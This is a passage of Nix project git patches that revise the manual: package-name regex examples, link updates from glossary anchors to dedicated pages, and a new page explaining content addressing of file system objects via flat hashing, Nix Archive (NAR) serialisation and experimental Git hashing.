+> - `firefox`
+>
+>   Matches the package name `firefox` and any version.
+>
+> - `firefox-32.0`
+>
+>   Matches the package name `firefox` and version `32.0`.
+>
+> - `gtk\\+`
+>
+>   Matches the package name `gtk+`.
+>   The `+` character must be escaped using a backslash (`\`) to prevent it from being interpreted as a quantifier, and the backslash must be escaped in turn with another backslash to ensure that the shell passes it on.
+>
+> - `.\*`
+>
+>   Matches any package name.
+>   This is the default for most commands.
+>
+> - `'.*zip.*'`
+>
+>   Matches any package name containing the string `zip`.
+>   Note the dots: `'*zip*'` does not work, because in a regular expression, the character `*` is interpreted as a quantifier.
+>
+> - `'.*(firefox|chromium).*'`
+>
+>   Matches any package name containing the strings `firefox` or `chromium`.
 
 # Files
 
diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md
index d80bcb668f7..a2cc7f8620c 100644
--- a/doc/manual/src/command-ref/nix-env/install.md
+++ b/doc/manual/src/command-ref/nix-env/install.md
@@ -14,14 +14,13 @@
 
 # Description
 
-The install operation creates a new user environment.
+The `--install` operation creates a new user environment.
 It is based on the current generation of the active [profile](@docroot@/command-ref/files/profiles.md), to which a set of [store paths] described by *args* is added.
 
 [store paths]: @docroot@/glossary.md#gloss-store-path
 
 The arguments *args* map to store paths in a number of possible ways:
 
-
   - By default, *args* is a set of [derivation] names denoting derivations in the [default Nix expression].
     These are [realised], and the resulting output paths are installed.
     Currently installed derivations with a name equal to the name of a derivation being added are removed unless the option `--preserve-installed` is specified.

From 043135a84851b3c33fd8723686a44437eb82e66a Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 9 Apr 2024 17:07:39 -0400
Subject: [PATCH 140/528] Document file system object content addressing

In addition:

- Take the opportunity to add a bunch more missing hyperlinks, too.

- Remove some glossary entries that are now subsumed by dedicated pages.
  We used to not be able to do this without breaking link fragments, but
  now we can, so pick up where we left off.

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 doc/manual/src/SUMMARY.md.in                  |  1 +
 .../src/command-ref/nix-collect-garbage.md    |  2 +-
 .../command-ref/nix-env/delete-generations.md |  2 +-
 doc/manual/src/command-ref/nix-env/install.md |  2 +-
 doc/manual/src/command-ref/nix-hash.md        | 11 ++-
 doc/manual/src/command-ref/nix-store/dump.md  |  6 +-
 .../src/command-ref/nix-store/export.md       |  6 +-
 .../src/command-ref/nix-store/import.md       |  4 +-
 .../src/command-ref/nix-store/optimise.md     |  3 +-
 .../src/command-ref/nix-store/realise.md      |  4 +-
 .../src/command-ref/nix-store/restore.md      |  4 +-
 doc/manual/src/contributing/documentation.md  |  2 +-
 doc/manual/src/glossary.md                    | 23 +++++-
 .../src/language/advanced-attributes.md       | 26 +++---
 doc/manual/src/language/derivations.md        |  4 +-
 .../src/language/import-from-derivation.md    |  4 +-
 doc/manual/src/language/operators.md          |  2 +-
 .../src/language/string-interpolation.md      |  4 +-
 doc/manual/src/language/values.md             |  2 +-
 .../src/protocols/json/store-object-info.md   |  4 +-
 doc/manual/src/protocols/nix-archive.md       |  3 +-
 doc/manual/src/protocols/store-path.md        |  6 +-
 doc/manual/src/protocols/tarball-fetcher.md   |  4 +-
 .../file-system-object/content-address.md     | 80 +++++++++++++++++++
 doc/manual/src/store/store-path.md            | 10 +++
 src/libcmd/misc-store-flags.cc                | 24 ++++--
 src/libexpr/primops.cc                        |  2 +-
 src/libexpr/primops/fetchTree.cc              |  4 +-
 src/libstore/globals.hh                       |  2 +-
 src/libstore/path.hh                          |  2 +-
 src/libutil/file-content-address.hh           | 39 +++++----
 src/nix/derivation-show.md                    |  2 +-
 src/nix/unix/daemon.cc                        |  2 +-
 33 files changed, 228 insertions(+), 68 deletions(-)
 create mode 100644 doc/manual/src/store/file-system-object/content-address.md

diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index fdfd0a92722..7ddafef7039 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -18,6 +18,7 @@
   - [Uninstalling Nix](installation/uninstall.md)
 - [Nix Store](store/index.md)
   - [File System Object](store/file-system-object.md)
+    - [Content-Addressing File System Objects](store/file-system-object/content-address.md)
   - [Store Object](store/store-object.md)
   - [Store Path](store/store-path.md)
   - [Store Types](store/types/index.md)
diff --git a/doc/manual/src/command-ref/nix-collect-garbage.md b/doc/manual/src/command-ref/nix-collect-garbage.md
index 1bc88d85829..8e1307c4875 100644
--- a/doc/manual/src/command-ref/nix-collect-garbage.md
+++ b/doc/manual/src/command-ref/nix-collect-garbage.md
@@ -74,4 +74,4 @@ $ nix-collect-garbage -d
 ```
 
 [profiles]: @docroot@/command-ref/files/profiles.md
-[store objects]: @docroot@/glossary.md#gloss-store-object
+[store objects]: @docroot@/store/store-object.md
diff --git a/doc/manual/src/command-ref/nix-env/delete-generations.md b/doc/manual/src/command-ref/nix-env/delete-generations.md
index 6b6ea798ead..ae618b2c611 100644
--- a/doc/manual/src/command-ref/nix-env/delete-generations.md
+++ b/doc/manual/src/command-ref/nix-env/delete-generations.md
@@ -49,7 +49,7 @@ Periodically deleting old generations is important to make garbage collection
 effective.
 The is because profiles are also garbage collection roots — any [store object] reachable from a profile is "alive" and ineligible for deletion.
 
-[store object]: @docroot@/glossary.md#gloss-store-object
+[store object]: @docroot@/store/store-object.md
 
 {{#include ./opt-common.md}}
 
diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md
index d80bcb668f7..73890204188 100644
--- a/doc/manual/src/command-ref/nix-env/install.md
+++ b/doc/manual/src/command-ref/nix-env/install.md
@@ -17,7 +17,7 @@
 The install operation creates a new user environment.
 It is based on the current generation of the active [profile](@docroot@/command-ref/files/profiles.md), to which a set of [store paths] described by *args* is added.
 
-[store paths]: @docroot@/glossary.md#gloss-store-path
+[store paths]: @docroot@/store/store-path.md
 
 The arguments *args* map to store paths in a number of possible ways:
 
diff --git a/doc/manual/src/command-ref/nix-hash.md b/doc/manual/src/command-ref/nix-hash.md
index 37c8facecab..24e91df12a3 100644
--- a/doc/manual/src/command-ref/nix-hash.md
+++ b/doc/manual/src/command-ref/nix-hash.md
@@ -20,16 +20,21 @@ an example.
 The hash is computed over a *serialisation* of each path: a dump of
 the file system tree rooted at the path. This allows directories and
 symlinks to be hashed as well as regular files. The dump is in the
-*NAR format* produced by [`nix-store
+*[Nix Archive (NAR)][Nix Archive] format* produced by [`nix-store
 --dump`](@docroot@/command-ref/nix-store/dump.md).  Thus, `nix-hash path`
 yields the same cryptographic hash as `nix-store --dump path |
 md5sum`.
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
+
 # Options
 
   - `--flat`\
-    Print the cryptographic hash of the contents of each regular file
-    *path*. That is, do not compute the hash over the dump of *path*.
+    Print the cryptographic hash of the contents of each regular file *path*.
+    That is, instead of computing
+    the hash of the [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) of *path*,
+    just [directly hash]((@docroot@/store/file-system-object/content-address.md#serial-flat) *path* as is.
+    This requires *path* to resolve to a regular file rather than directory.
     The result is identical to that produced by the GNU commands
     `md5sum` and `sha1sum`.
 
diff --git a/doc/manual/src/command-ref/nix-store/dump.md b/doc/manual/src/command-ref/nix-store/dump.md
index c2f3c42ef1f..b1066fd4cff 100644
--- a/doc/manual/src/command-ref/nix-store/dump.md
+++ b/doc/manual/src/command-ref/nix-store/dump.md
@@ -1,6 +1,6 @@
 # Name
 
-`nix-store --dump` - write a single path to a Nix Archive
+`nix-store --dump` - write a single path to a [Nix Archive]
 
 ## Synopsis
 
@@ -8,7 +8,7 @@
 
 ## Description
 
-The operation `--dump` produces a NAR (Nix ARchive) file containing the
+The operation `--dump` produces a [NAR (Nix ARchive)][Nix Archive] file containing the
 contents of the file system tree rooted at *path*. The archive is
 written to standard output.
 
@@ -33,6 +33,8 @@ but not other types of files (such as device nodes).
 A Nix archive can be unpacked using `nix-store
 --restore`.
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
+
 {{#include ./opt-common.md}}
 
 {{#include ../opt-common.md}}
diff --git a/doc/manual/src/command-ref/nix-store/export.md b/doc/manual/src/command-ref/nix-store/export.md
index 1bc46f53b50..09f876865a2 100644
--- a/doc/manual/src/command-ref/nix-store/export.md
+++ b/doc/manual/src/command-ref/nix-store/export.md
@@ -1,6 +1,6 @@
 # Name
 
-`nix-store --export` - export store paths to a Nix Archive
+`nix-store --export` - export store paths to a [Nix Archive]
 
 ## Synopsis
 
@@ -11,7 +11,7 @@
 The operation `--export` writes a serialisation of the specified store
 paths to standard output in a format that can be imported into another
 Nix store with `nix-store --import`. This is like `nix-store
---dump`, except that the NAR archive produced by that command doesn’t
+--dump`, except that the [Nix Archive (NAR)][Nix Archive] produced by that command doesn’t
 contain the necessary meta-information to allow it to be imported into
 another Nix store (namely, the set of references of the path).
 
@@ -19,6 +19,8 @@ This command does not produce a *closure* of the specified paths, so if
 a store path references other store paths that are missing in the target
 Nix store, the import will fail.
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
+
 {{#include ./opt-common.md}}
 
 {{#include ../opt-common.md}}
diff --git a/doc/manual/src/command-ref/nix-store/import.md b/doc/manual/src/command-ref/nix-store/import.md
index 2711316a7d6..42fae0b22ec 100644
--- a/doc/manual/src/command-ref/nix-store/import.md
+++ b/doc/manual/src/command-ref/nix-store/import.md
@@ -1,6 +1,8 @@
 # Name
 
-`nix-store --import` - import Nix Archive into the store
+`nix-store --import` - import [Nix Archive] into the store
+
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
 
 # Synopsis
 
diff --git a/doc/manual/src/command-ref/nix-store/optimise.md b/doc/manual/src/command-ref/nix-store/optimise.md
index dc392aeb8da..b257466b203 100644
--- a/doc/manual/src/command-ref/nix-store/optimise.md
+++ b/doc/manual/src/command-ref/nix-store/optimise.md
@@ -12,7 +12,7 @@ The operation `--optimise` reduces Nix store disk space usage by finding
 identical files in the store and hard-linking them to each other. It
 typically reduces the size of the store by something like 25-35%. Only
 regular files and symlinks are hard-linked in this manner. Files are
-considered identical when they have the same NAR archive serialisation:
+considered identical when they have the same [Nix Archive (NAR)][Nix Archive] serialisation:
 that is, regular files must have the same contents and permission
 (executable or non-executable), and symlinks must have the same
 contents.
@@ -38,3 +38,4 @@ hashing files in `/nix/store/qhqx7l2f1kmwihc9bnxs7rc159hsxnf3-gcc-4.1.1'
 there are 114486 files with equal contents out of 215894 files in total
 ```
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
diff --git a/doc/manual/src/command-ref/nix-store/realise.md b/doc/manual/src/command-ref/nix-store/realise.md
index 5428d57fa50..6e56387ebdb 100644
--- a/doc/manual/src/command-ref/nix-store/realise.md
+++ b/doc/manual/src/command-ref/nix-store/realise.md
@@ -25,11 +25,11 @@ Each of *paths* is processed as follows:
 
 If no substitutes are available and no store derivation is given, realisation fails.
 
-[store paths]: @docroot@/glossary.md#gloss-store-path
+[store paths]: @docroot@/store/store-path.md
 [valid]: @docroot@/glossary.md#gloss-validity
 [store derivation]: @docroot@/glossary.md#gloss-store-derivation
 [output paths]: @docroot@/glossary.md#gloss-output-path
-[store objects]: @docroot@/glossary.md#gloss-store-object
+[store objects]: @docroot@/store/store-object.md
 [closure]: @docroot@/glossary.md#gloss-closure
 [substituters]: @docroot@/command-ref/conf-file.md#conf-substituters
 [content-addressed derivations]: @docroot@/contributing/experimental-features.md#xp-feature-ca-derivations
diff --git a/doc/manual/src/command-ref/nix-store/restore.md b/doc/manual/src/command-ref/nix-store/restore.md
index fcba43df4df..2d0aa3127be 100644
--- a/doc/manual/src/command-ref/nix-store/restore.md
+++ b/doc/manual/src/command-ref/nix-store/restore.md
@@ -8,9 +8,11 @@
 
 ## Description
 
-The operation `--restore` unpacks a NAR archive to *path*, which must
+The operation `--restore` unpacks a [Nix Archive (NAR)][Nix Archive] to *path*, which must
 not already exist. The archive is read from standard input.
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
+
 {{#include ./opt-common.md}}
 
 {{#include ../opt-common.md}}
diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md
index 359fdb5569a..6e7c0a9679a 100644
--- a/doc/manual/src/contributing/documentation.md
+++ b/doc/manual/src/contributing/documentation.md
@@ -147,7 +147,7 @@ Please observe these guidelines to ease reviews:
   ```
   A [store object] contains a [file system object] and [references] to other store objects.
 
-  [store object]: @docroot@/glossary.md#gloss-store-object
+  [store object]: @docroot@/store/store-object.md
   [file system object]: @docroot@/architecture/file-system-object.md
   [references]: @docroot@/glossary.md#gloss-reference
   ```
diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md
index cbffda187eb..080b25d30ed 100644
--- a/doc/manual/src/glossary.md
+++ b/doc/manual/src/glossary.md
@@ -1,5 +1,24 @@
 # Glossary
 
+- [content address]{#gloss-content-address}
+
+  A
+  [*content address*](https://en.wikipedia.org/wiki/Content-addressable_storage)
+  is a secure way to reference immutable data.
+  The reference is calculated directly from the content of the data being referenced, which means the reference is
+  [*tamper proof*](https://en.wikipedia.org/wiki/Tamperproofing)
+  --- variations of the data should always calculate to distinct content addresses.
+
+  For how Nix uses content addresses, see:
+
+    - [Content-Addressing File System Objects](@docroot@/store/file-system-object/content-address.md)
+    - [content-addressed store object](#gloss-content-addressed-store-object)
+    - [content-addressed derivation](#gloss-content-addressed-derivation)
+
+  Software Heritage's writing on [*Intrinsic and Extrinsic identifiers*](https://www.softwareheritage.org/2020/07/09/intrinsic-vs-extrinsic-identifiers) is also a good introduction to the value of content-addressing over other referencing schemes.
+
+  Besides content addressing, the Nix store also uses [input addressing](#gloss-input-addressed-store-object).
+
 - [derivation]{#gloss-derivation}
 
   A description of a build task. The result of a derivation is a
@@ -266,13 +285,15 @@
 
   See [installables](./command-ref/new-cli/nix.md#installables) for [`nix` commands](./command-ref/new-cli/nix.md) (experimental) for details.
 
-- [NAR]{#gloss-nar}
+- [Nix Archive (NAR)]{#gloss-nar}
 
   A *N*ix *AR*chive. This is a serialisation of a path in the Nix
   store. It can contain regular files, directories and symbolic
   links.  NARs are generated and unpacked using `nix-store --dump`
   and `nix-store --restore`.
 
+  See [Nix Archive](store/file-system-object/content-address.html#serial-nix-archive) for details.
+
 - [`∅`]{#gloss-emtpy-set}
 
   The empty set symbol. In the context of profile history, this denotes a package is not present in a particular version of the profile.
diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md
index 1fcc5a95ba2..3b8e485545b 100644
--- a/doc/manual/src/language/advanced-attributes.md
+++ b/doc/manual/src/language/advanced-attributes.md
@@ -199,19 +199,23 @@ Derivations can declare some infrequently used optional attributes.
     The `outputHashMode` attribute determines how the hash is computed.
     It must be one of the following two values:
 
-      - `"flat"`\
-        The output must be a non-executable regular file. If it isn’t,
-        the build fails. The hash is simply computed over the contents
-        of that file (so it’s equal to what Unix commands like
-        `sha256sum` or `sha1sum` produce).
+    <!-- FIXME link to store object content-addressing not file system object content addressing once we have the page for that. -->
+
+      - `"flat"`
+
+        The output must be a non-executable regular file; if it isn’t, the build fails.
+        The hash is
+        [simply computed over the contents of that file](@docroot@/store/file-system-object/content-address.md#serial-flat)
+        (so it’s equal to what Unix commands like `sha256sum` or `sha1sum` produce).
 
         This is the default.
 
-      - `"recursive"` or `"nar"`\
-        The hash is computed over the [NAR archive](@docroot@/glossary.md#gloss-nar) dump of the output
-        (i.e., the result of [`nix-store --dump`](@docroot@/command-ref/nix-store/dump.md)). In
-        this case, the output can be anything, including a directory
-        tree.
+      - `"recursive"` or `"nar"`
+
+        The hash is computed over the
+        [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive)
+        dump of the output (i.e., the result of [`nix-store --dump`](@docroot@/command-ref/nix-store/dump.md)).
+        In this case, the output is allowed to be any [file system object], including directories and more.
 
     `"recursive"` is the traditional way of indicating this,
     and is supported since 2005 (virtually the entire history of Nix).
@@ -303,7 +307,7 @@ Derivations can declare some infrequently used optional attributes.
     [`disallowedReferences`](#adv-attr-disallowedReferences) and [`disallowedRequisites`](#adv-attr-disallowedRequisites),
     the following attributes are available:
 
-    - `maxSize` defines the maximum size of the resulting [store object](@docroot@/glossary.md#gloss-store-object).
+    - `maxSize` defines the maximum size of the resulting [store object](@docroot@/store/store-object.md).
     - `maxClosureSize` defines the maximum size of the output's closure.
     - `ignoreSelfRefs` controls whether self-references should be considered when
       checking for allowed references/requisites.
diff --git a/doc/manual/src/language/derivations.md b/doc/manual/src/language/derivations.md
index 75f824a342b..b95900cdd16 100644
--- a/doc/manual/src/language/derivations.md
+++ b/doc/manual/src/language/derivations.md
@@ -17,7 +17,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect
   A symbolic name for the derivation.
   It is added to the [store path] of the corresponding [store derivation] as well as to its [output paths](@docroot@/glossary.md#gloss-output-path).
 
-  [store path]: @docroot@/glossary.md#gloss-store-path
+  [store path]: @docroot@/store/store-path.md
 
   > **Example**
   >
@@ -141,7 +141,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect
 
   By default, a derivation produces a single output called `out`.
   However, derivations can produce multiple outputs.
-  This allows the associated [store objects](@docroot@/glossary.md#gloss-store-object) and their [closures](@docroot@/glossary.md#gloss-closure) to be copied or garbage-collected separately.
+  This allows the associated [store objects](@docroot@/store/store-object.md) and their [closures](@docroot@/glossary.md#gloss-closure) to be copied or garbage-collected separately.
 
   > **Example**
   >
diff --git a/doc/manual/src/language/import-from-derivation.md b/doc/manual/src/language/import-from-derivation.md
index fb12ba51a8d..e901f5bcf5b 100644
--- a/doc/manual/src/language/import-from-derivation.md
+++ b/doc/manual/src/language/import-from-derivation.md
@@ -2,9 +2,9 @@
 
 The value of a Nix expression can depend on the contents of a [store object].
 
-[store object]: @docroot@/glossary.md#gloss-store-object
+[store object]: @docroot@/store/store-object.md
 
-Passing an expression `expr` that evaluates to a [store path](@docroot@/glossary.md#gloss-store-path) to any built-in function which reads from the filesystem constitutes Import From Derivation (IFD):
+Passing an expression `expr` that evaluates to a [store path](@docroot@/store/store-path.md) to any built-in function which reads from the filesystem constitutes Import From Derivation (IFD):
 
 - [`import`](./builtins.md#builtins-import)` expr`
 - [`builtins.readFile`](./builtins.md#builtins-readFile)` expr`
diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md
index 698fed47e0f..311887e96f9 100644
--- a/doc/manual/src/language/operators.md
+++ b/doc/manual/src/language/operators.md
@@ -128,7 +128,7 @@ The result is a string.
 > The file or directory at *path* must exist and is copied to the [store].
 > The path appears in the result as the corresponding [store path].
 
-[store path]: @docroot@/glossary.md#gloss-store-path
+[store path]: @docroot@/store/store-path.md
 [store]: @docroot@/glossary.md#gloss-store
 
 [String and path concatenation]: #string-and-path-concatenation
diff --git a/doc/manual/src/language/string-interpolation.md b/doc/manual/src/language/string-interpolation.md
index 1f8fecca86b..1e2c4ad9593 100644
--- a/doc/manual/src/language/string-interpolation.md
+++ b/doc/manual/src/language/string-interpolation.md
@@ -107,9 +107,9 @@ An expression that is interpolated must evaluate to one of the following:
 
 A string interpolates to itself.
 
-A path in an interpolated expression is first copied into the Nix store, and the resulting string is the [store path] of the newly created [store object](@docroot@/glossary.md#gloss-store-object).
+A path in an interpolated expression is first copied into the Nix store, and the resulting string is the [store path] of the newly created [store object](@docroot@/store/store-object.md).
 
-[store path]: @docroot@/glossary.md#gloss-store-path
+[store path]: @docroot@/store/store-path.md
 
 > **Example**
 >
diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md
index 2dd52b379f6..4eb1887fabe 100644
--- a/doc/manual/src/language/values.md
+++ b/doc/manual/src/language/values.md
@@ -124,7 +124,7 @@
   For example, assume you used a file path in an interpolated string during a `nix repl` session.
   Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. Use `:r` to reset the repl as needed.
 
-  [store path]: @docroot@/glossary.md#gloss-store-path
+  [store path]: @docroot@/store/store-path.md
 
   Path literals can also include [string interpolation], besides being [interpolated into other expressions].
 
diff --git a/doc/manual/src/protocols/json/store-object-info.md b/doc/manual/src/protocols/json/store-object-info.md
index 179cafbb44a..22a14715fae 100644
--- a/doc/manual/src/protocols/json/store-object-info.md
+++ b/doc/manual/src/protocols/json/store-object-info.md
@@ -28,9 +28,9 @@ Info about a [store object].
 
   Content address of this store object's file system object, used to compute its store path.
 
-[store path]: @docroot@/glossary.md#gloss-store-path
+[store path]: @docroot@/store/store-path.md
 [file system object]: @docroot@/store/file-system-object.md
-[Nix Archive]: @docroot@/glossary.md#gloss-nar
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
 
 ## Impure fields
 
diff --git a/doc/manual/src/protocols/nix-archive.md b/doc/manual/src/protocols/nix-archive.md
index 4fb6282eeeb..bfc523b3d5e 100644
--- a/doc/manual/src/protocols/nix-archive.md
+++ b/doc/manual/src/protocols/nix-archive.md
@@ -1,9 +1,10 @@
 # Nix Archive (NAR) format
 
-This is the complete specification of the Nix Archive format.
+This is the complete specification of the [Nix Archive] format.
 The Nix Archive format closely follows the abstract specification of a [file system object] tree,
 because it is designed to serialize exactly that data structure.
 
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#nix-archive
 [file system object]: @docroot@/store/file-system-object.md
 
 The format of this specification is close to [Extended Backus–Naur form](https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form), with the exception of the `str(..)` function / parameterized rule, which length-prefixes and pads strings.
diff --git a/doc/manual/src/protocols/store-path.md b/doc/manual/src/protocols/store-path.md
index 565c4fa7505..65777423801 100644
--- a/doc/manual/src/protocols/store-path.md
+++ b/doc/manual/src/protocols/store-path.md
@@ -1,12 +1,14 @@
 # Complete Store Path Calculation
 
-This is the complete specification for how store paths are calculated.
+This is the complete specification for how [store path]s are calculated.
 
 The format of this specification is close to [Extended Backus–Naur form](https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_form), but must deviate for a few things such as hash functions which we treat as bidirectional for specification purposes.
 
 Regular users do *not* need to know this information --- store paths can be treated as black boxes computed from the properties of the store objects they refer to.
 But for those interested in exactly how Nix works, e.g. if they are reimplementing it, this information can be useful.
 
+[store path](@docroot@/store/store-path.md)
+
 ## Store path proper
 
 ```ebnf
@@ -113,7 +115,7 @@ where
       Note that `id` = `"out"`, regardless of the name part of the store path.
       Also note that NAR + SHA-256 must not use this case, and instead must use the `type` = `"source:" ...` case.
 
-[Nix Archive (NAR)]: @docroot@/glossary.md#gloss-NAR
+[Nix Archive (NAR)]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
 [sha-256]: https://en.m.wikipedia.org/wiki/SHA-256
 
 ### Historical Note
diff --git a/doc/manual/src/protocols/tarball-fetcher.md b/doc/manual/src/protocols/tarball-fetcher.md
index 274fa6d63c8..24ec7ae14aa 100644
--- a/doc/manual/src/protocols/tarball-fetcher.md
+++ b/doc/manual/src/protocols/tarball-fetcher.md
@@ -22,7 +22,7 @@ Link: <flakeref>; rel="immutable"
 
 *flakeref* must be a tarball flakeref. It can contain the tarball flake attributes
 `narHash`, `rev`, `revCount` and `lastModified`. If `narHash` is included, its
-value must be the NAR hash of the unpacked tarball (as computed via
+value must be the [NAR hash][Nix Archive] of the unpacked tarball (as computed via
 `nix hash path`). Nix checks the contents of the returned tarball
 against the `narHash` attribute. The `rev` and `revCount` attributes
 are useful when the tarball flake is a mirror of a fetcher type that
@@ -40,3 +40,5 @@ Link: <https://example.org/hello/442793d9ec0584f6a6e82fa253850c8085bb150a.tar.gz
 
 For tarball flakes, the value of the `lastModified` flake attribute is
 defined as the timestamp of the newest file inside the tarball.
+
+[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
diff --git a/doc/manual/src/store/file-system-object/content-address.md b/doc/manual/src/store/file-system-object/content-address.md
new file mode 100644
index 00000000000..fc5be8c673d
--- /dev/null
+++ b/doc/manual/src/store/file-system-object/content-address.md
@@ -0,0 +1,80 @@
+# Content-Addressing File System Objects
+
+For many operations, Nix needs to calculate [a content addresses](@docroot@/glossary.md#gloss-content-address) of [a file system object][file system object].
+Usually this is needed as part of content addressing [store objects], since store objects always have a root file system object.
+But some command-line utilities also just work on "raw" file system objects, not part of any store object.
+
+Every content addressing scheme Nix uses ultimately involves feeding data into a [hash function](https://en.wikipedia.org/wiki/Hash_function), and getting back an opaque fixed-size digest which is deemed a content address.
+The various *methods* of content addressing thus differ in how abstract data (in this case, a file system object and its descendents) are fed into the hash function.
+
+## Serialising File System Objects { #serial }
+
+The simplest method is to serialise the entire file system object tree into a single binary string, and then hash that binary string, yielding the content address.
+In this section we describe the currently-supported methods of serialising file system objects.
+
+### Flat { #serial-flat }
+
+A single file object can just be hashed by its contents.
+This is not enough information to encode the fact that the file system object is a file,
+but if we *already* know that the FSO is a single non-executable file by other means, it is sufficient.
+
+### Nix Archive (NAR) { #serial-nix-archive }
+
+For the other cases of [file system objects][file system object], especially directories with arbitrary descendents, we need a more complex serialisation format.
+Examples of such serialisations are the ZIP and TAR file formats.
+However, for our purposes these formats have two problems:
+
+- They do not have a canonical serialisation, meaning that given an FSO, there can
+be many different serialisations.
+  For instance, TAR files can have variable amounts of padding between archive members;
+  and some archive formats leave the order of directory entries undefined.
+  This would be bad because we use serialisation to compute cryptographic hashes over file system objects, and for those hashes to be useful as a content address or for integrity checking, uniqueness is crucial.
+  Otherwise, correct hashes would report false mismatches, and the store would fail to find the content.
+
+- They store more information than we have in our notion of FSOs, such as time stamps.
+  This can cause FSOs that Nix should consider equal to hash to different values on different machines, just because the dates differ.
+
+- As a practical consideration, the TAR format is the only truly universal format in the Unix environment.
+  It has many problems, such as an inability to deal with long file names and files larger than 2^33 bytes.
+  Current implementations such as GNU Tar work around these limitations in various ways.
+
+For these reasons, Nix has its very own archive format—the Nix Archive (NAR) format,
+which is carefully designed to avoid the problems described above.
+
+The exact specification of the Nix Archive format is in `protocols/nix-archive.md`
+
+## Content addressing File System Objects beyond a single serialisation pass
+
+Serialising the entire tree and then hashing that binary string is not the only option for content addressing, however.
+Another technique is that of a [Merkle graph](https://en.wikipedia.org/wiki/Merkle_tree), where previously computed hashes are included in subsequent byte strings to be hashed.
+
+In particular, the Merkle graphs can match the original graph structure of file system objects:
+we can first hash (serialised) child file system objects, and then hash parent objects using the hashes of their children in the serialisation (to be hashed) of the parent file system objects.
+
+Currently, there is one such Merkle DAG content addressing method supported.
+
+### Git ([experimental][xp-feature-git-hashing]) { #git }
+
+> **Warning**
+>
+> This method is part of the [`git-hashing`][xp-feature-git-hashing] experimental feature.
+
+Git's file system model is very close to Nix's, and so Git's content addressing method is a pretty good fit.
+Just as with regular Git, files and symlinks are hashed as git "blobs", and directories are hashed as git "trees".
+
+However, one difference between Nix's and Git's file system model needs special treatment.
+Plain files, executable files, and symlinks are not differentiated as distinctly addressable objects, but by their context: by the directory entry that refers to them.
+That means so long as the root object is a directory, there is no problem:
+every non-directory object is owned by a parent directory, and the entry that refers to it provides the missing information.
+However, if the root object is not a directory, then we have no way of knowing which one of an executable file, non-executable file, or symlink it is supposed to be.
+
+In response to this, we have decided to treat a bare file as non-executable file.
+This is similar to do what we do with [flat serialisation](#flat), which also lacks this information.
+To avoid an address collision, attempts to hash a bare executable file or symlink will result in an error (just as would happen for flat serialisation also).
+Thus, Git can encode some, but not all of Nix's "File System Objects", and this sort of content-addressing is likewise partial.
+
+In the future, we may support a Git-like hash for such file system objects, or we may adopt another Merkle DAG format which is capable of representing all Nix file system objects.
+
+[file system object]: ../file-system-object.md
+[store object]: ../store-object.md
+[xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing
diff --git a/doc/manual/src/store/store-path.md b/doc/manual/src/store/store-path.md
index 085aead5163..beec2389b1c 100644
--- a/doc/manual/src/store/store-path.md
+++ b/doc/manual/src/store/store-path.md
@@ -1,5 +1,11 @@
 # Store Path
 
+> **Example**
+>
+> `/nix/store/a040m110amc4h71lds2jmr8qrkj2jhxd-git-2.38.1`
+>
+> A rendered store path
+
 Nix implements references to [store objects](./index.md#store-object) as *store paths*.
 
 Think of a store path as an [opaque], [unique identifier]:
@@ -37,6 +43,10 @@ A store path is rendered to a file system path as the concatenation of
 > store directory            digest                 name
 > ```
 
+Exactly how the digest is calculated depends on the type of store path.
+Store path digests are *supposed* to be opaque, and so for most operations, it is not necessary to know the details.
+That said, the manual has a full [specification of store path digests](@docroot@/protocols/store-path.md).
+
 ## Store Directory
 
 Every [Nix store](./index.md) has a store directory.
diff --git a/src/libcmd/misc-store-flags.cc b/src/libcmd/misc-store-flags.cc
index e66d3f63b1c..063a9dd9ec2 100644
--- a/src/libcmd/misc-store-flags.cc
+++ b/src/libcmd/misc-store-flags.cc
@@ -81,9 +81,15 @@ Args::Flag fileIngestionMethod(FileIngestionMethod * method)
     How to compute the hash of the input.
     One of:
 
-    - `nar` (the default): Serialises the input as an archive (following the [_Nix Archive Format_](https://edolstra.github.io/pubs/phd-thesis.pdf#page=101)) and passes that to the hash function.
+    - `nar` (the default):
+      Serialises the input as a
+      [Nix Archive](@docroot@/store/file-system-object/content-address.md#serial-nix-archive)
+      and passes that to the hash function.
 
-    - `flat`: Assumes that the input is a single file and directly passes it to the hash function;
+    - `flat`:
+      Assumes that the input is a single file and
+      [directly passes](@docroot@/store/file-system-object/content-address.md#serial-flat)
+      it to the hash function.
         )",
         .labels = {"file-ingestion-method"},
         .handler = {[method](std::string s) {
